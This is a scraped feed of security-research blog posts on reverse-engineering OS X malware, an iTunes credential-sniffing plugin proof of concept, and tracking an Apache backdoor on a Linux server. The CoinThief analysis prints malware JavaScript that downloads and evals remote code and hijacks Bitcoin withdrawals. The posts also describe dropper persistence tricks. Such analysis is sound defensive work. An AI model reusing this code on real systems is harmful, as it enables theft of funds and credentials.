fully working.\nThe script is available at Github repo. The kgmacros file is for Mountain Lion, and kgmacros_mavericks for Mavericks.\nOne small tip if you are doing two real machines debugging with LLDB and Thunderbolt. You will need to set the boot args parameter kdp_match_name=en4 if you are using a Thunderbolt to ethernet adapter in the target machine. KDP expects by default the network interface in en0 and the Thunderbolt adapter is set as en4. Other than that everything works. It just needs the gdbinit like output and commands. Deroko started a LLDB version here. Go help him, I don’t want to learn Python (again).\nEnjoy,\nfG!\n","permalink":"https://reverse.put.as/2014/02/21/dont-die-gdb-we-love-you-kgmacros-ported-to-mavericks/","summary":"Our lovely GDB has been declared dead with Xcode 5 release. The new king in town is LLDB, and that also applies to kernel debugging. Change is good, even if we Humans don’t like it, but\u0026hellip; there’s still no gdbinit for LLDB and I just love it. Even more important (for kernel debugging), LLDB still has no support (afaik) for VMware GDB stub. This means it’s not possible to do kernel debugging in Mavericks VMs other than KDP.","title":"Don’t die GDB, we love you: kgmacros ported to Mavericks."},{"content":"There is no such thing as malware in OS X but last week another sample was spotted and made the “news”. I am talking about CoinThief, a malware designed to hijack Bitcoin accounts and steal everything (I must confess I laughed a bit; I think Bitcoin is just a bullshit pyramid scheme but I digress).\nThere are a few samples out there, in different stages of evolution, so this is probably not a very recent operation. Nicholas Ptacek from SecureMac broke the story and did an initial analysis. Check his link here and also ThreatPost for some details about the different infected applications and how it started.\nThis post will target the initial stage of the malware packed with StealthBit application and a bit into the installed malware browser extensions.\nFirst step is to load the main binary into IDA or Hopper (I still use IDA mostly out of lazyness and habit). We are presented with this nice picture (not all methods shown) of very weird class and method names.\nThis triggers immediate attention which I don’t think it’s good at all if you are trying to hide attention. Another example this time from class-dump:\n__attribute__((visibility(\u0026#34;hidden\u0026#34;))) @interface IOSDJDSNSDOWKDII : NSObject { NSString *_fihwjsndkfkjs; NSString *_hisdhiwjknsk; NSString *_sdhijkskjdfd; } @property(copy, nonatomic) NSString *sdhijkskjdfd; // @synthesize sdhijkskjdfd=_sdhijkskjdfd; @property(copy, nonatomic) NSString *hisdhiwjknsk; // @synthesize hisdhiwjknsk=_hisdhiwjknsk; @property(copy, nonatomic) NSString *fihwjsndkfkjs; // @synthesize fihwjsndkfkjs=_fihwjsndkfkjs; - (void).cxx_destruct; - (BOOL)hidfisdfsguiwomc; - (id)initWiwijmxug:(id)arg1 jifikwdff:(id)arg2 mkoxjnwhd:(id)arg3; The strings are also a good starting point to start understanding the puzzle. It’s easy to spot base64 encoded strings, confirmed by the presence of base64 methods.\nbGFzdENocm9tZVBha1BhdGNoZWRWZXJzaW9u L0FwcGxpY2F0aW9ucy9Hb29nbGUgQ2hyb21lLmFwcC9Db250ZW50cy9WZXJzaW9ucw== q24@?0@\u0026#34;NSString\u0026#34;8@\u0026#34;NSString\u0026#34;16 R29vZ2xlIENocm9tZSBGcmFtZXdvcmsuZnJhbWV3b3JrL1Jlc291cmNlcw== RXh0ZW5zaW9uU2V0dGluZ3MucmV0dXJuRXh0ZW5zaW9uc0RhdGEgPSBmdW5jdGlvbihleHRlbnNpb25zRGF0YSkgewogICAgLy8gV2UgY2FuIGdldCBjYWxsZWQgbWFueSB0aW1lcyBpbiBzaG9ydCBvcmRlciwgdGh1cyB3ZSBuZWVkIHRvCiAgICAvLyBiZSBjYXJlZnVsIHRvIHJlbW92ZSB0aGUgJ2ZpbmlzaGVkIGxvYWRpbmcnIHRpbWVvdXQuCiAgICA= RXh0ZW5zaW9uU2V0dGluZ3MucmV0dXJuRXh0ZW5zaW9uc0RhdGEgPSBmdW5jdGlvbihleHRlbnNpb25zRGF0YSkgewpmb3IodmFyIGE9MCxiPWV4dGVuc2lvbnNEYXRhLmV4dGVuc2lvbnMsYz0wO2M8Yi5sZW5ndGg7YysrKWlmKCIlQCI9PWJbY10uaWQpe2E9YztiLnNwbGljZShhLDEpO2JyZWFrfQo= At this point we know we have a binary with obfuscated strings and class/method names. Different strategies are possible to continue analysis and reversing. DTrace and similar utilities can be used to have a general overview of what the binary is trying to do, or we can go directly into IDA and start making sense of the code. In the second option we can start reversing at main() or we can start checking what the obfuscated methods are trying to do and rename to something meaningful. I am a great fan of the second so I started checking each method sequentially.\nThe getter and setter methods are easy to spot. The setter methods start with set in the name because they are automatically generated via property keyword, and getters because their code just retrieves the instance variable. The obfuscator is probably a script that modifies the names before compilation (I don’t think a define is enough for this), a LLVM pass, or just developed with those names.\nNow let me show you a very simple method that writes a mutex to ~/Library/Preferences/fsdiskquota1. In this file is present it means that the dropper code was previously executed and it should not happen again.\nThe base64 string is decoded, tilde expanded to the full path and fsdiskquota1 mutex written. Nothing very complicated.\nThe trick here is to start renaming the methods so you can easily follow up the code. That is the annoying part of this obfuscation method but with a small dose of patience and time it falls apart. Renamed and commented method:\nTo make it easier for you this is a screenshot of the methods I renamed. Not all but the most important to understand what the dropper does.\nThe init method for the class HIFOWEIOWEOJSDJFIVB initializes an instance variable with a NSFileManager object and retrieves the location of the current logged in user NSLibraryDirectory. Then what I renamed as startBackdoor is called and the fun starts.\nThis method does the following:\nErases itself and replaces it with the original StealthBit binary. Starts the original binary. At this point you have the original application running and the dropper, which will continue its work in the background. Verifies if the mutex exists. If mutex does not exist, write it and continue unpacking the malware payload. Browser extensions for Safari and Chrome are unpacked into a temporary folder. If unpack was successful, Safari version is retrieved. The extensions are only compatible with Safari 5 or higher. Installs Safari extension that is masked as a pop up blocker. Retrieve Chrome version (if installed). Only supports Chrome v25 or higher. Installs Chrome extension. Verifies if Library/Handsoff folder exists. If Handsoff is not installed the backdoor will be made persistent by creating a fake Googe Software Update launch agent. Remove temporary files and exit. At this point and assuming the whole process was successful against Safari, Chrome, and persistence, we have two malware extensions loaded into the browsers and a RAT installed in the target machine. Two screenshots of the startBackdoor method:\nThe original binary is located in the _CodeSignature folder and named .dSYM. The extensions are located in the same folder in a bzip2 archive named .sig. The dropper does not show in the Dock because LSUIElement setting is used in the Info.plist. When the dropper erases itself, the setting is removed from the plist so the legit application shows up in the Dock. For the user everything looks normal – application startup time is fast. The original application is started by creating a new NSTask and using the open command to start again the now legit StealthBit.app.\nThe functions that install the extensions are not very interesting in terms of reversing. They locate the extension folders, and install/active the malware extension. The Chrome related methods are a bit more complex because they look up more information about its internals and mess with the paks and so on. I don’t know much about Chrome internal organization and wasn’t much interested in reversing them – nothing valuable to me in terms of understanding the whole process.\nNow a bit into the extensions, using the Safari version as reference. As previously said, it is spoofed as a Pop-Up Blocker made by Eric Wong using KangoExtensions. The contents of description file are:\n{ \u0026#34;kango_version\u0026#34;: \u0026#34;1.3.0 d6f8f2cf3761\u0026#34;, \u0026#34;content_scripts\u0026#34;: [ \u0026#34;libs/jquery-2.0.3.min.js\u0026#34;, \u0026#34;injected/main.js\u0026#34; ], \u0026#34;name\u0026#34;: \u0026#34;Pop-Up Blocker\u0026#34;, \u0026#34;creator\u0026#34;: \u0026#34;Eric Wong\u0026#34;, \u0026#34;kango_package_id\u0026#34;: \u0026#34;dev\u0026#34;, \u0026#34;background_scripts\u0026#34;: [ \u0026#34;libs/jquery-2.0.3.min.js\u0026#34;, \u0026#34;settings/defaultSettings.js\u0026#34;, \u0026#34;settings/settings.js\u0026#34;, \u0026#34;global/encryption/jsEncrypt.js\u0026#34;, \u0026#34;global/encryption/updateVerifySignature.js\u0026#34;, \u0026#34;global/cryptoJS/components/core-min.js\u0026#34;, \u0026#34;global/cryptoJS/components/enc-base64-min.js\u0026#34;, \u0026#34;global/cryptoJS/components/sha1-min.js\u0026#34;, \u0026#34;global/cryptoJS/rollups/aes.js\u0026#34;, \u0026#34;global/cryptoJS/rollups/md5.js\u0026#34;, \u0026#34;global/cryptoJS/rollups/tripledes.js\u0026#34;, \u0026#34;global/jsrsasign/ext/jsbn-min.js\u0026#34;, \u0026#34;global/jsrsasign/ext/jsbn2-min.js\u0026#34;, \u0026#34;global/jsrsasign/ext/base64-min.js\u0026#34;, \u0026#34;global/jsrsasign/ext/rsa-min.js\u0026#34;, \u0026#34;global/jsrsasign/ext/rsa2-min.js\u0026#34;, \u0026#34;global/jsrsasign/asn1hex-1.1.min.js\u0026#34;, \u0026#34;global/jsrsasign/rsapem-1.1.min.js\u0026#34;, \u0026#34;global/jsrsasign/rsasign-1.2.min.js\u0026#34;, \u0026#34;global/jsrsasign/x509-1.1.min.js\u0026#34;, \u0026#34;global/jsrsasign/crypto-1.1.min.js\u0026#34;, \u0026#34;background.js\u0026#34; ], \u0026#34;homepage_url\u0026#34;: \u0026#34;http://kangoextensions.com/\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.0.0\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;com.optimalcycling.safari.popupblocker\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Blocks pop-up windows and other annoyances.\u0026#34; } Screenshot of the Safari extension:\nThe Kango stuff is mostly uninteresting except for the background.js file. What it does is to try to contact a remote server and download a file, which will be the effective malware payload responsible for hijacking the Bitcoin sites accounts information.\nif(!kango.storage.getItem(\u0026#39;installed\u0026#39;)) { //Get first version and run $.get(settings.get(\u0026#39;reportServer\u0026#39;)+\u0026#34;/updates/firstUpdate.php\u0026#34;, function(data) { //Checking signature if(updateVerifySignature(CryptoJS.SHA1(data.global), CryptoJS.SHA1(data.injected), data.signature)) { //Saving to localstorage kango.storage.setItem(\u0026#39;globalJS\u0026#39;,data.global); kango.storage.setItem(\u0026#39;injectedJS\u0026#39;,data.injected); kango.storage.setItem(\u0026#39;installed\u0026#39;,true); //Saving current version kango.storage.setItem(\u0026#39;extensionUpdateTimestamp\u0026#39;,0); kango.storage.setItem(\u0026#39;agentUpdateTimestamp\u0026#39;,0); //Executing script eval(kango.storage.getItem(\u0026#39;globalJS\u0026#39;)); if(settings.get(\u0026#39;debug\u0026#39;)) console.log(\u0026#34;Valid First Release\u0026#34;); } else { if(settings.get(\u0026#39;debug\u0026#39;)) console.log(\u0026#34;First Release: Bad Signature\u0026#34;); } }, \u0026#34;json\u0026#34; ); } else { //Running saved version try { eval(kango.storage.getItem(\u0026#39;globalJS\u0026#39;)); } catch(err) { if(kango.storage.getItem(\u0026#39;globalJS_old\u0026#39;)) { kango.storage.setItem(\u0026#39;globalJS\u0026#39;, kango.storage.getItem(\u0026#39;globalJS_old\u0026#39;)); } else { //Error in version 0, resetting extension. kango.storage.clear(); } } } if(settings.get(\u0026#39;debug\u0026#39;)) { function uninstall() { console.log(\u0026#34;Uninstalling...\u0026#34;); kango.storage.clear(); } } A screenshot of the connection attempt to the remote server:\nIf you are interested in looking at the contents of the malware payload just download it here. Password is \u0026ldquo;infected!\u0026rdquo;. You can find javascript code such as this sample for the MtGoxPlugin:\nMtGoxPlugin.prototype.injectPage = function (withdrawKey) { function injectScript(source) { var elem = document.createElement(\u0026#34;script\u0026#34;); elem.type = \u0026#34;text/javascript\u0026#34;; elem.innerHTML = source; document.head.appendChild(elem); } var balance = Math.round((parseFloat($(\u0026#39;#virtualCur span\u0026#39;).text().match(/(.*)\\\\s/)[1])-0.001)*100000000)/100000000; injectScript(\u0026#34;var pubKey = \u0026#39;\u0026#34;+ withdrawKey +\u0026#34;\u0026#39;; balanceBTC = \u0026#39;\u0026#34;+ balance +\u0026#34;\u0026#39;; \u0026#34;+ \u0026#34;(\u0026#34;+(function() { $.ajaxSetup({ beforeSend: function(jqXHR, settings) { if(settings.url == \u0026#39;/api/2/money/bitcoin/send_simple\u0026#39;) { settings.data = settings.data.replace(/amount=.*\\\\\u0026amp;address=/, \u0026#39;amount=\u0026#39;+ balanceBTC +\u0026#39;\u0026amp;address=\u0026#39;); settings.data = settings.data.replace(/address=.*\\\\\u0026amp;address/, \u0026#39;address=\u0026#39;+ pubKey +\u0026#39;\u0026amp;address\u0026#39;); } }}); }).toString()+\u0026#34;)()\u0026#34;); }; The last step is to reverse the RAT, a binary called Agent and installed in ~/Library/Application Support/.com.google.softwareUpdateAgent. I did not reverse this module yet but it appears to be responsible for sending data to the remote servers and also remote access to the infected machines. It has a few obfuscated methods reused from the dropper but everything else is not obfuscated. There is a method that verifies the presence of Little Snitch, which is funny because that doesn\u0026rsquo;t exist in the dropper. Probably some quality control issues! There’s also a method checking for 1Password.\nWhat else is there to say about this? I have at least five different infected applications, in different stages of evolution (some without obfuscated methods).\nAs far as I have read/know they were available on popular downloads sites. Trust is a difficult problem to solve.\nWhat are the conclusions and lessons from this malware?\nThere’s some fuss around regarding my previous post about evil iTunes plugins, with a quite surprising number of “uninformed” people using the argument of “arbitrary code execution”. Well, the thing is that everything you download from the Internet is arbitrary code unless you reverse every single binary, and that has the strong assumption that you are able to understand everything it does. Quite a task I might say!\nA normal looking application can easily copy malicious payloads to many different places, iTunes plugins being one of the interesting targets, but it can also easily patch other applications since most are installed with same permissions as the normal user. There’s no need for exploits, suspicious please gimme r00t dialogs. Just an innocent app you download and trust. In the post-Snowden world what guarantees you have that famous apps don’t have state-sponsored payloads? None I might say.\nThe open source bullshit principle of many eyes looking has been shown too many times to be a really bad assumption – not that many eyes are looking and stupid bugs are kept alive for many years. Sandboxes and the AppStore improve the situation but they still suffer from vulnerabilities and their binaries are probably more opaque (iOS in particular) and with less incentives to be reversed (Apple wouldn’t let malware in the AppStore, right?).\nI will probably edit this post in the next days to add some missing info or improve some paragraphs. Too tired right now.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2014/02/16/analysis-of-cointhiefa-dropper/","summary":"There is no such thing as malware in OS X but last week another sample was spotted and made the “news”. I am talking about CoinThief, a malware designed to hijack Bitcoin accounts and steal everything (I must confess I laughed a bit; I think Bitcoin is just a bullshit pyramid scheme but I digress).\nThere are a few samples out there, in different stages of evolution, so this is probably not a very recent operation.","title":"Analysis of CoinThief/A \"dropper\""},{"content":"Oh this one has been into my head for so long that I finally decided to try and create the code for it. So let’s go!\nWhat’s the background story?\nIn August 2011 I reported to Apple a security issue with iTunes. What happens is that iTunes plugins are loaded into iTunes process space so they have full control of iTunes. Evil plugins can do all kinds of things such as stealing iTunes passwords and credit card information, or patching some annoying features as I did with Disable m3u plugin.\nThis is part of Apple’s response:\nAfter examining your report, we feel that this is an area for security hardening that we will consider for future updates. Well, almost three years later and a few iTunes revisions nothing was done regarding this. The plugin folder is writable by current logged in user so a trojan dropper can easily load a malicious plugin. Or it can be used as communication channel for a RAT (Hacking Team, are you reading this?). And so on\u0026hellip;\nAppleDoesntGiveAFuckAboutSecurity is a quick PoC that installs a breakpoint on SSLWrite function and dumps the clear text buffer that is passed to it before being sent over SSL/TLS secure channel (veryyyy old trick, nothing new). A mini-debugger (exception handler) is installed to handle the breakpoint and dump the information. Of course this could have been done with function hooking but this code is more fun, even if it’s a very quick hack with hardcoded addresses. It is set to be used with latest iTunes available in Mavericks 10.9.1. If you want to play with other versions, just run iTunes under GDB and breakpoint on SSLWrite. Give a look at the code, it’s pretty small and easy to understand.\nWhen you do the sign in you can see a xml like this being transmitted:\n\u0026lt;?xml version=”1.0″ encoding=”UTF-8″?\u0026gt; \u0026lt;plist version=”1.0″\u0026gt; \u0026lt;dict\u0026gt; \u0026lt;key\u0026gt;appleId\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;abcdefg\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;attempt\u0026lt;/key\u0026gt; \u0026lt;integer\u0026gt;1\u0026lt;/integer\u0026gt; \u0026lt;key\u0026gt;createSession\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;true\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;guid\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;XXXXXXXXXXX\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;machineName\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;XXXXXXX\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;password\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;1234567890\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;why\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;signIn\u0026lt;/string\u0026gt; \u0026lt;/dict\u0026gt; \u0026lt;/plist\u0026gt; So it’s pretty easy to automate the dump of iTunes login information. Just find the plist and retrieve the fields. A trojan could force the sign out and then intercept the account. Credit card information can probably be stolen the same way. Or maybe interesting stuff from iOS backups? But hey, nobody uses iTunes, everyone went to iCloud, and this is just me being a jerk, right?\nI have no idea what is happening inside Apple regarding security. They have very talented people there so it’s most probably a management issue. Or they are just waiting the same fate as Microsoft to change their position. SyScan’13 was almost a year ago and the vulnerabilities presented by Stefan Esser are still unpatched in all systems except Mavericks. Can’t understand this, and spare me the legacy/testing bullshit.\nThis release is dedicated to Jeffrey, from Apple Product Security Team. Hi Jeffrey!\nJust a Friday late night rant :P.\nNote:\nSo it seems we have some “trolling” going around HackerNews. I particularly love the lame excuses of \u0026ldquo;if you run code you are toasted\u0026rdquo;. Well, this is just bullshit because you have no idea of what you are running most of the time – just see very recent example of CoinThief – and the AppStore and sandboxes are not what will save you (hello Jailbreaks, are you there?). There’s always an application you use outside the app store that can install an evil plugin (how many people verify the install process of apps that request adminstrator privileges?) or can modify quite a few apps in /Applications that aren’t root owned (my HiTCON 2012 presentation).\nIs this a complete ownage worm remote code execution jailbreak? No, but no one claimed that. It just shows how many small things can be exploited and how your Apple computer is not as safe as most assume. Hacking Team successfully sells one lame malware that is being used to spy upon many people in the world. How many of you have any idea if that is installed or not?\nHave fun, and don’t do anything illegal\nfG!\nAppleDoesntGiveAFuckAboutSecurity.zip\nSHA1(AppleDoesntGiveAFuckAboutSecurity.zip)= 2c872b7c39e6ef1f06f7d0422cb55b7dc7b899b4\n","permalink":"https://reverse.put.as/2014/02/15/appledoesntgiveafuckaboutsecurity-itunes-evil-plugin-proof-of-concept/","summary":"Oh this one has been into my head for so long that I finally decided to try and create the code for it. So let’s go!\nWhat’s the background story?\nIn August 2011 I reported to Apple a security issue with iTunes. What happens is that iTunes plugins are loaded into iTunes process space so they have full control of iTunes. Evil plugins can do all kinds of things such as stealing iTunes passwords and credit card information, or patching some annoying features as I did with Disable m3u plugin.","title":"AppleDoesntGiveAFuckAboutSecurity iTunes Evil Plugin Proof of Concept"},{"content":"New version available at the github repo, compatible with Mavericks and with a Cocoa app to control its features.\nMavericks sysent table is modified so previous versions weren’t compatible with it. I updated the sysent table definitions. It’s not the best method to assure future compatibility in case Apple decides to change the structure again. A better way is to find the symbols for the syscalls and replace them directly in the sysent table. Maybe in a future update.\nThe GUI app is nothing special and code is not pretty for sure. My Cocoa skills still suck (feel free to improve it, I’m always open to learn). If you quit it while the driver is running and load it again, the options state will be clean and not show what was already set. This is because the driver doesn’t support querying what options are set. Maybe in a future update.\nDon’t forget you need to download and add diStorm to the codebase. I have to give it a try and include Capstone in the kernel driver.\nEnjoy,\nfG!\n","permalink":"https://reverse.put.as/2014/02/14/updated-version-of-onyx-the-black-cat/","summary":"New version available at the github repo, compatible with Mavericks and with a Cocoa app to control its features.\nMavericks sysent table is modified so previous versions weren’t compatible with it. I updated the sysent table definitions. It’s not the best method to assure future compatibility in case Apple decides to change the structure again. A better way is to find the symbols for the syscalls and replace them directly in the sysent table.","title":"Updated version of Onyx The Black Cat"},{"content":"Disclaimer: This malware sample is not in any way related to Hacking Team (as far as I know) other than me making some jokes about them related to a future presentation about their OS X malware product.\nTwo months ago (maybe three) I started noticing a sporadic redirect when I accessed these blog pages. It wasn’t anything \u0026ldquo;malicious\u0026rdquo; as far as I could evaluate; just a redirect to adult friend finder site. A friend did some initial research on the site pages and content and could not find anything relevant there, other than a very old Zen encoded backdoor (LOL!). I also poked around the database contents and it appeared clean. Having read about some recent Linux rootkits injecting iframes and that kind of stuff I was convinced the shared server had been hacked. Other tasks were calling for my attention and so this matter got sidetracked.\nLast week some readers started complaining about the redirects and it was finally time to find out what was really happening. I asked my great hosting friends at HighSpeedWeb to give me r00t and find the problem. My instinct was right and I found out a new variant of Linux/CDorked.A that made headlines beginning of 2013. Unfortunately I have no idea how the breach started but I bet in a local root exploit (server was running KSplice). Shared servers are a pain to manage with all kinds of vulnerable scripts being installed. For some background on Linux/CDorked.A you should have a look at the following articles:\nLinux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole ESET and Sucuri Uncover Linux/Cdorked.A: The Most Sophisticated Apache Backdoor Apache Binary Backdoors on Cpanel-based servers Malware.lu Technical Analysis of CDorked.A Ebury SSH Rootkit – Frequently Asked Questions (updated info, recommended!) The two warning signs are a modified httpd binary linked against the open_tty symbol and a shared memory segment 6118512 bytes long. This server httpd binary had no signs of compromise and that specific shared memory segment did not exist. Running the ipcs command revealed a very suspicious shared memory segment, slightly bigger than the one mentioned in those articles and detection tools.\nsh-4.1# ipcs -m ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0x01006cab 447545344 root 600 1200712 8 0x00003164 447152129 nobody 600 7620272 5 \u0026lt;- the backdoor segment 0x00000a6a 13729803 root 666 3282312 0 0x000009e4 404193300 root 666 3179912 0 A CPanel support technician was also poking around the server and recompiled Apache. He declared victory because the redirect wasn’t happening anymore. Too soon my friend! The next day the redirect was still active and this time I was sure the httpd binary wasn’t modified – I stored the checksums so I could compare them. Ok, we have some mystery here. Something is definitely being injected into the httpd server but the binary is not modified in the filesystem. It could be either a kernel rootkit (Crowdstrike’s analysis of such rootkit here), an Apache module, or something else. Under these assumptions my first task was to gather a memory dump and analyse with Volatility. Nothing suspicious was found in the kernel side so I temporarly ruled out the kernel rootkit hypothesis. Apache has support for filters chains so this would be a good spot for injection and my next step. I did some brief tracing into this but couldn’t find anything. Keep in mind this was a live server with many hits so I needed to be careful to avoid downtime. Good old habits from managing the Portuguese ATM network.\nNext hypothesis: assuming the httpd binary is ok at disk, is the binary in memory the same?\nTime to memory dump httpd binary. Volatility had some problems finding the original binary using linux_find_file command. I could dump individual segments but that is a mess to analyse in IDA.\nHow the hell do you (easily) dump a full binary in Linux? I left Linux 5 years ago! Hum\u0026hellip; let’s core dump httpd. The first time it worked ok and I got the core dump to load in IDA. Later I tried again and this time it failed.\nsh-4.1# gcore 74765 core.JgKHE6:4: Error in sourced command file: (deleted)/usr/local/apache/bin/httpd: No such file or directory. gcore: failed to create core.74765 Now this is a good clue for what is happening here. It might explain some of the Volatility issues finding the httpd process (this is something I have to try later, if deleted binaries can fool Volatility analysis). Let’s take a look at procfs to see what’s happening:\nsh-4.1# ls -la /proc/456404/ total 0 dr-xr-xr-x 6 root root 0 Feb 1 19:08 . dr-xr-xr-x 358 root root 0 Oct 9 16:35 .. -r-------- 1 root root 0 Feb 2 18:00 auxv -r--r--r-- 1 root root 0 Feb 2 18:00 cgroup --w------- 1 root root 0 Feb 2 18:00 clear_refs -r--r--r-- 1 root root 0 Feb 1 19:08 cmdline -rw-r--r-- 1 root root 0 Feb 2 18:00 coredump_filter -r--r--r-- 1 root root 0 Feb 2 18:00 cpuset lrwxrwxrwx 1 root root 0 Feb 2 18:00 cwd -\u0026gt; / -r-------- 1 root root 0 Feb 2 18:00 environ lrwxrwxrwx 1 root root 0 Feb 1 19:09 exe -\u0026gt; (deleted)/usr/local/apache/bin/httpd dr-x------ 2 root root 0 Feb 2 04:09 fd dr-x------ 2 root root 0 Feb 2 18:00 fdinfo The original binary has been deleted! Definitely a good clue to understand why the httpd binary checksums are always ok. Let’s look at the memory map and verify the inode information:\nsh-4.1# cat /proc/456404/maps 00400000-00539000 r-xp 00000000 fd:00 3277341 (deleted)/usr/local/apache/bin/httpd 00739000-00745000 rw-p 00139000 fd:00 3277341 (deleted)/usr/local/apache/bin/httpd 00745000-0074a000 rw-p 00000000 00:00 0 01a89000-04e26000 rw-p 00000000 00:00 0 04e26000-04e48000 rw-p 00000000 00:00 0 We can use debugfs to poke at that inode and recover the original binary! This link is a good reference on how to do this. The first time I tried this I could not find the original binary, it was overwritten by some other file. Meanwhile I had noticed some strange behavior by httpd:\nsh-4.1# ps aux | grep htt root 800497 9.7 0.2 129792 35792 ? Ss 10:08 0:00 /usr/local/apache/bin/httpd -k start -DSSL root 800510 0.0 0.1 128528 32196 ? S 10:08 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 800511 0.0 0.2 129704 32644 ? S 10:08 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 800514 0.0 0.2 129932 33984 ? S 10:08 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 800515 0.3 0.2 130056 35088 ? S 10:08 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 800516 2.0 0.2 131812 35864 ? S 10:08 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 800517 1.0 0.2 130236 35440 ? S 10:08 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 800518 0.6 0.2 130464 34500 ? S 10:08 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 800532 0.5 0.2 130192 34236 ? S 10:08 0:00 /usr/local/apache/bin/httpd -k start -DSSL root 800546 0.0 0.0 103232 784 pts/0 S+ 10:08 0:00 grep htt sh-4.1# ps aux | grep httpd root 817699 0.3 0.2 129828 35832 ? Ss 10:37 0:00 /usr/local/apache/bin/httpd -k start -DSSL root 817713 0.0 0.1 128564 32188 ? S 10:37 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 817715 0.0 0.2 129876 32780 ? S 10:37 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 817864 0.0 0.2 137940 34880 ? S 10:37 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 817874 0.1 0.2 139968 36876 ? S 10:37 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 817877 0.1 0.2 140196 37068 ? S 10:37 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 817880 0.1 0.2 139320 36260 ? S 10:37 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 818204 0.0 0.2 137812 34768 ? S 10:38 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 818294 0.0 0.2 137812 34384 ? S 10:38 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 818528 0.2 0.2 139292 36112 ? S 10:39 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 818529 0.0 0.2 137404 34092 ? S 10:39 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 818530 0.0 0.2 137548 34140 ? S 10:39 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 818546 0.0 0.2 137812 34356 ? S 10:39 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 818547 0.0 0.2 137412 34088 ? S 10:39 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 818548 0.0 0.2 137808 34344 ? S 10:39 0:00 /usr/local/apache/bin/httpd -k start -DSSL nobody 818549 0.0 0.2 137412 34000 ? S 10:39 0:00 /usr/local/apache/bin/httpd -k start -DSSL root 818592 0.0 0.0 103236 792 pts/0 S+ 10:39 0:00 grep httpd After I restarted Apache, minutes later it would be restarted again and this time the original binary would show up deleted. My hypothesis here was a cron job responsible for reloading the trojaned httpd binary. Verified all the cron jobs and nothing suspicious was found. I made an assumption that there was a twice an hour reload of the backdoor but this was wrong as I will explain later on. At this point I just needed to restart Apache, wait for the backdoor to be activated, and immediately recover the trojaned binary. Got the binary, load into IDA and compare with the Linux/CDorked.A sample. Bingo, it’s very similar. The functions names are not the same (hashes like names in known variant, single letter names on this one) but the code is very similar – have a look at ap_read_request Apache function, which is where the backdoor has its modified code to filter requests.\nNext big question: how is the trojaned binary started and where it is in the filesystem? At this point I knew something is executed after the legit Apache is restarted, replaces it with a trojaned version and restores the original file.\nWhat is the easiest way to detect this? Trace the process activity! I have some very cool tricks in OS X to do this (other than DTrace) but had no idea what was new in this area in Linux. A quick web search got me into this page. It has a small example of a process tracer using netlink proc events. I gave it a try and it was good enough for this purpose. Systemtap is another (and probably better) alternative but I was looking for a quick solution. You should definitely have both in your malware analysis toolset.\nNow I could see a strange incoming SSH connection executing commands and after that the trojaned Apache was running. Modified the code sample to something that dumps the binary being executed and its command line parameters. Code sample available here. Other solutions such as ttysnoop and so on could have been used. I wanted to disrupt as less as possible the server. This allowed me to easily find out what was happening. Here is a sample output of an older version of the modified tracer utility (not the whole chain of commands, just a few selected ones):\nnow: 2014-1-31 11:21:43 PID: 181941 uid: 0 gid: 0 181941 cmdline:/usr/sbin/sshd-R exec: tid=181941 pid=181941 /usr/sbin/sshd fork: parent tid=181941 pid=181941 -\u0026gt; child tid=181942 pid=181942 gid change: tid=181942 pid=181942 from 74 to 74 uid change: tid=181942 pid=181942 from 74 to 74 fork: parent tid=37151 pid=37151 -\u0026gt; child tid=181943 pid=181943 exit: tid=181943 pid=181943 exit_code=0 exit: tid=181942 pid=181942 exit_code=0 fork: parent tid=181941 pid=181941 -\u0026gt; child tid=181944 pid=181944 now: 2014-1-31 11:21:50 PID: 181944 uid: 0 gid: 0 181944 cmdline:bash-cecho GOOD exec: tid=181944 pid=181944 /bin/bash fork: parent tid=181944 pid=181944 -\u0026gt; child tid=181945 pid=181945 fork: parent tid=181945 pid=181945 -\u0026gt; child tid=181946 pid=181946 now: 2014-1-31 11:21:50 PID: 181946 uid: 0 gid: 0 181946 cmdline:whoami exec: tid=181946 pid=181946 /usr/bin/whoami exec: tid=181964 pid=181964 /bin/bash fork: parent tid=181964 pid=181964 -\u0026gt; child tid=181965 pid=181965 now: 2014-1-31 11:21:51 PID: 181965 uid: 0 gid: 0 181965 cmdline:/usr/bin/md5sum/usr/local/apache/bin/httpd/usr/sbin/arpd exec: tid=181965 pid=181965 /usr/bin/md5sum now: 2014-1-31 11:21:53 PID: 181978 uid: 0 gid: 0 181978 cmdline:cp-a/usr/bin/s2p /tmp/X3Cm2rXtncgR7scn_m.tmp exec: tid=181978 pid=181978 /bin/cp now: 2014-1-31 11:21:53 PID: 181980 uid: 0 gid: 0 181980 